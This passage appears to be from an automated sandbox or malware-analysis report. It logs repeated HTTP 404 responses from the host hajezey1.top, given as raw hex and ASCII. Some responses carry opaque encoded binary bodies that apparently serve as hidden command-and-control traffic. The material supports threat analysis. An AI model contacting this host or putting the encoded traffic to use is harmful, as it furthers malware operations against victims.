91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 81 71 e5 77 8f 8c f5 cf 9b 2b 25 9b f6 ba c9 1b b0 1c 67 74 d2 a5 98 87 cd 2b 80 78 51 a1 a2 8f bc 82 df 1c e0 32 02 50 08 88 d8 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 01 82 20 59 55 11 5c 2c 34 67 ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 01 75 cb 8a 40 d8 06 0e 45 07 13 7d 7b f9 e0 04 89 f9 d4 57 80 90 70 89 ec be 4a 6b 0e e1 a2 22 48 92 d2 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 53 68 58 96 da 19 d1 3a 2d e8 43 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 65 85 4a 04 38 ad 7f 14 2c d0 e8 b1 14 23 71 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 62 41 64 cd 25 5c 8d b7 f5 23 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 75 8d b5 be 34 56 9b 46 76 99 86 11 00 83 32 42 92 51 ce ae b8 6b 95 36 e1 48 52 67 76 50 b8 81 f6 bc 81 de bb 6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 8e 5f 04 25 18 f5 aa 85 b9 a5 13 ea 0e cb 2d e5 00 0c cc 52 a2 bd 71 b6 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82O_%-RqdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 